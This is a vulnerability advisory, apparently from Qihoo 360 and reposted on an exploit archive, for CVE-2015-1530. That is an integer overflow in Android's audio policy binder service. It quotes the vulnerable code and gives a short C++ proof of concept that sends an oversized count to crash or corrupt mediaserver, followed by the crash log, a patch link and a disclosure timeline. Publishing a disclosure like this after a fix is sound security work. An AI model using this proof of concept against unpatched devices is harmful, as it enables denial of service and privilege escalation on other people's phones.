Android Media Integer Overflow



EKU-ID: 4647 CVE: 2015-1530 OSVDB-ID:
Author: Guang Gong Published: 2015-03-16 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#############################################################################
#
#   QIHU 360 SOFTWARE CO. LIMITED http://www.360safe.com/
#
#############################################################################
#
# CVE ID:   CVE-2015-1530
# Product:   Android
# Vendor:   Google
# Subject:   An integer overflow in Android media could be exploited to get
media_server permission
# Effect:  Gain privileges or cause a denial of service
# Author:  Guang Gong

# Date:     March 11th 2015
#
#############################################################################


Introduction
------------
An Integer overflow in the BnAudioPolicyService::onTransact function in
frameworks <http://androidxref.com/4.4.4_r1/xref/frameworks/>/av
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/>/media
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/>/libmedia
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/>/
IAudioPolicyService.cpp
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp>
in Android through 5.0 allow attackers to gain privileges or cause a denial
of service (memory corruption) via vectors that trigger a large number of
count value.

Affected Android version
----------

all versions below Lollipop 5.1

Patches
-------

Android Bug id 18226810
https://android.googlesource.com/platform/frameworks/av/+/e360f0f6cad290f69e07fd3a20dcf11a1dbc4160



Description
-----------
The vulnerable code is as follows.

http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#661

case QUERY_DEFAULT_PRE_PROCESSING
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#QUERY_DEFAULT_PRE_PROCESSING>:
{

656
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#656>
        CHECK_INTERFACE
<http://androidxref.com/4.4.4_r1/s?defs=CHECK_INTERFACE&project=frameworks>(
IAudioPolicyService
<http://androidxref.com/4.4.4_r1/s?defs=IAudioPolicyService&project=frameworks>
, data <http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>,
reply <http://androidxref.com/4.4.4_r1/s?defs=reply&project=frameworks>);

657
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#657>
        int audioSession
<http://androidxref.com/4.4.4_r1/s?refs=audioSession&project=frameworks> =
data <http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>.
readInt32
<http://androidxref.com/4.4.4_r1/s?defs=readInt32&project=frameworks>();

658
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#658>
        uint32_t
<http://androidxref.com/4.4.4_r1/s?defs=uint32_t&project=frameworks> count
<http://androidxref.com/4.4.4_r1/s?refs=count&project=frameworks> = data
<http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>.readInt32
<http://androidxref.com/4.4.4_r1/s?defs=readInt32&project=frameworks>();

659
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#659>
        uint32_t
<http://androidxref.com/4.4.4_r1/s?defs=uint32_t&project=frameworks>
retCount
<http://androidxref.com/4.4.4_r1/s?refs=retCount&project=frameworks> = count
<http://androidxref.com/4.4.4_r1/s?defs=count&project=frameworks>;

660
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#660>
        effect_descriptor_t
<http://androidxref.com/4.4.4_r1/s?defs=effect_descriptor_t&project=frameworks>
*descriptors
<http://androidxref.com/4.4.4_r1/s?refs=descriptors&project=frameworks> =

661
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#661>
                (effect_descriptor_t
<http://androidxref.com/4.4.4_r1/s?defs=effect_descriptor_t&project=frameworks>
*)new char[count
<http://androidxref.com/4.4.4_r1/s?defs=count&project=frameworks> * sizeof(
effect_descriptor_t
<http://androidxref.com/4.4.4_r1/s?defs=effect_descriptor_t&project=frameworks>
)];--------------------->count can be set to any value by binder client,
which can cause integer overflow and when write to this buffer, heap
corruption will happen.

662
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#662>
        status_t
<http://androidxref.com/4.4.4_r1/s?defs=status_t&project=frameworks> status
<http://androidxref.com/4.4.4_r1/s?refs=status&project=frameworks> =
queryDefaultPreProcessing
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#queryDefaultPreProcessing>
(audioSession
<http://androidxref.com/4.4.4_r1/s?defs=audioSession&project=frameworks>,
descriptors
<http://androidxref.com/4.4.4_r1/s?defs=descriptors&project=frameworks>, &
retCount
<http://androidxref.com/4.4.4_r1/s?defs=retCount&project=frameworks>);

663
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#663>
        reply
<http://androidxref.com/4.4.4_r1/s?defs=reply&project=frameworks>->
writeInt32
<http://androidxref.com/4.4.4_r1/s?defs=writeInt32&project=frameworks>(
status <http://androidxref.com/4.4.4_r1/s?defs=status&project=frameworks>);

664
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#664>
        if (status
<http://androidxref.com/4.4.4_r1/s?defs=status&project=frameworks> !=
NO_ERROR
<http://androidxref.com/4.4.4_r1/s?defs=NO_ERROR&project=frameworks> &&
status <http://androidxref.com/4.4.4_r1/s?defs=status&project=frameworks> !=
NO_MEMORY
<http://androidxref.com/4.4.4_r1/s?defs=NO_MEMORY&project=frameworks>) {

665
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#665>
            retCount
<http://androidxref.com/4.4.4_r1/s?defs=retCount&project=frameworks> = 0;

666
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#666>
        }

667
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#667>
        reply
<http://androidxref.com/4.4.4_r1/s?defs=reply&project=frameworks>->
writeInt32
<http://androidxref.com/4.4.4_r1/s?defs=writeInt32&project=frameworks>(
retCount
<http://androidxref.com/4.4.4_r1/s?defs=retCount&project=frameworks>);


Attack vector
-------------
A normal Apps can corrupt the heap in mediaserver by this vulnerabilities.

the PoC of corrupting the heap is as follows

#include <binder/Parcel.h>

#include <binder/ProcessState.h>

#include <binder/IServiceManager.h>

#include <media/IAudioPolicyService.h>

#include <binder/TextOutput.h>

#include <system/audio.h>

#include <sys/stat.h>

#include <fcntl.h>





using namespace android;

int main(__attribute__((unused)) int argc, __attribute__((unused)) char*
const argv[])

{

   sp<IServiceManager> sm = defaultServiceManager();

   sp<IBinder> service = sm->checkService(String16("media.audio_policy"));


   sp<IAudioPolicyService> iPolicy =
IAudioPolicyService::asInterface(service);

   effect_descriptor_t descriptors;

   uint32_t count=0xfffffff;

   iPolicy->getInput((audio_source_t)0,8000,(audio_format_t)1,AUDIO_CHANNEL_IN_FRONT,1);


   iPolicy->queryDefaultPreProcessing(1,&descriptors,&count);

   return 0;

}

the crash Log is as follows:

--------- beginning of crash

F/libc    (  184): new[] failed to allocate 3221225300 bytes

F/libc    (  184): Fatal signal 6 (SIGABRT), code -6 in tid 654 (Binder_1)

I/DEBUG   (  180): *** *** *** *** *** *** *** *** *** *** *** *** *** ***
*** ***

I/DEBUG   (  180): Build fingerprint:
'Android/aosp_hammerhead/hammerhead:4.4.3.43.43.43/AOSP/ggong10171501:userdebug/test-keys'

I/DEBUG   (  180): Revision: '10'

I/DEBUG   (  180): ABI: 'arm'

I/DEBUG   (  180): pid: 184, tid: 654, name: Binder_1  >>>
/system/bin/mediaserver <<<

I/DEBUG   (  180): signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr
--------

W/NativeCrashListener(  613): Couldn't find ProcessRecord for pid 184

I/DEBUG   (  180): Abort message: 'new[] failed to allocate 3221225300
bytes'

E/DEBUG   (  180): AM write failure (32 / Broken pipe)

I/DEBUG   (  180):     r0 00000000  r1 0000028e  r2 00000006  r3 00000000

I/DEBUG   (  180):     r4 b46ffdb8  r5 00000006  r6 0000000c  r7 0000010c

I/DEBUG   (  180):     r8 0fffffff  r9 000003f5  sl 000000b8  fp 00000001

I/DEBUG   (  180):     ip 0000028e  sp b46ffab8  lr b6f44941  pc b6f6676c
 cpsr 60070010

I/DEBUG   (  180):

I/DEBUG   (  180): backtrace:

I/DEBUG   (  180):     #00 pc 0003576c  /system/lib/libc.so (tgkill+12)

I/DEBUG   (  180):     #01 pc 0001393d  /system/lib/libc.so
(pthread_kill+52)

I/DEBUG   (  180):     #02 pc 000143e7  /system/lib/libc.so (raise+10)

I/DEBUG   (  180):     #03 pc 00010e8d  /system/lib/libc.so
(__libc_android_abort+36)

I/DEBUG   (  180):     #04 pc 0000f954  /system/lib/libc.so (abort+4)

I/DEBUG   (  180):     #05 pc 00012225  /system/lib/libc.so
(__libc_fatal+16)

I/DEBUG   (  180):     #06 pc 000128fd  /system/lib/libc.so (operator
new[](unsigned int)+16)

I/DEBUG   (  180):     #07 pc 00056367  /system/lib/libmedia.so
(android::BnAudioPolicyService::onTransact(unsigned int, android::Parcel
const&, android::Parcel*, unsigned int)+1158)

I/DEBUG   (  180):     #08 pc 000167a5  /system/lib/libbinder.so
(android::BBinder::transact(unsigned int, android::Parcel const&,
android::Parcel*, unsigned int)+60)

I/DEBUG   (  180):     #09 pc 0001aea3  /system/lib/libbinder.so
(android::IPCThreadState::executeCommand(int)+562)

I/DEBUG   (  180):     #10 pc 0001afbf  /system/lib/libbinder.so
(android::IPCThreadState::getAndExecuteCommand()+38)

I/DEBUG   (  180):     #11 pc 0001b001  /system/lib/libbinder.so
(android::IPCThreadState::joinThreadPool(bool)+48)

I/DEBUG   (  180):     #12 pc 0001ee93  /system/lib/libbinder.so

I/DEBUG   (  180):     #13 pc 0000e97d  /system/lib/libutils.so
(android::Thread::_threadLoop(void*)+112)

I/DEBUG   (  180):     #14 pc 0000e505  /system/lib/libutils.so

I/DEBUG   (  180):     #15 pc 00013133  /system/lib/libc.so
(__pthread_start(void*)+30)

I/DEBUG   (  180):     #16 pc 0001120b  /system/lib/libc.so
(__start_thread+6)

I/DEBUG   (  180):

I/DEBUG   (  180): Tombstone written to: /data/tombstones/tombstone_00

I/BootReceiver(  613): Copying /data/tombstones/tombstone_00 to DropBox
(SYSTEM_TOMBSTONE)



Milestones
----------

Date

Comment

Sender

03/11/2014

Initial Report of CVE-2015-1530

Qihoo

08/11/2014

have validated and have created a suitable fix  internally

Google

11/11/2014

Sent the Android Bug ID 18226810

Google

10/2/2015

Sent the CVE-ID

Google

11/3/2015

Lollipop 5.1 was released, disclose it

Qihoo



References
----------
[1]https:
//android.googlesource.com/platform/frameworks/av/+/e360f0f6cad290f69e07fd3a20dcf11a1dbc4160

[2]
http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#661